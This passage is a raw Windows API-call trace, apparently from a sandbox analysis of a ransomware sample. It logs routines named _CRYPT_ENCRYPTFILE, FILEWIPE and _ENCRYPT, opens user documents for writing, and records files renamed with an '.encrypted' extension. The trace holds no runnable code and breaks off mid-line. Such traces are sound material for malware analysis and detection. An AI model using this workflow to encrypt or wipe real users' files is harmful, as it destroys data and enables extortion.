CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.329] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.330] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.330] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.330] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.330] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.330] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.330] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.330] CryptReleaseContext (hProv=0xe8f4199a20, dwFlags=0x0) returned 1 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.330] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.330] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.331] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.331] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.331] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.331] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.331] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.331] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.331] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.334] CharLowerBuffW (in: lpsz="byte[11540]", cchLength=0xb | out: lpsz="byte[11540]") returned 0xb [0025.334] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.335] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.335] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.335] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.335] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.335] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.336] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.336] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.336] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.336] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.336] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.336] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.336] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.336] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.336] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.336] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.336] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.336] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.337] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.337] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.337] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.337] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.337] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.337] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.337] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.337] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.337] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.337] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4955) returned 1 [0025.337] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.337] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.337] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.337] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x135b, lpOverlapped=0x0) returned 1 [0025.338] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.338] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x135b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.338] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4955) returned 1 [0025.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\n", cchWideChar=82, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 82 [0025.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\n", cchWideChar=82, lpMultiByteStr=0xe8f4069ad0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\n", lpUsedDefaultChar=0x0) returned 82 [0025.338] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x51, lpOverlapped=0x0) returned 1 [0025.338] CloseHandle (hObject=0x188) returned 1 [0025.339] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.339] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.340] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.340] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.340] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.340] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.340] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.341] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.341] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.341] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.342] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x60dFm7.odp", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0025.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x60dFm7.odp", cchWideChar=69, lpMultiByteStr=0xe8f4051fe0, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x60dFm7.odp", lpUsedDefaultChar=0x0) returned 69 [0025.342] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x60dFm7.odp" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\v2zrxhejbqrq x60dfm7.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=69, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0025.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=69, lpWideCharStr=0xe8f4061520, cchWideChar=69 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x60dFm7.odp") returned 69 [0025.343] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.344] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.344] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.344] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.344] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.344] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.344] CloseHandle (hObject=0x188) returned 1 [0025.345] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.345] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.345] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.345] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.345] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.345] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.345] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.345] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.345] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.345] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.345] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.345] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.345] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.345] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.345] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.345] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.346] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 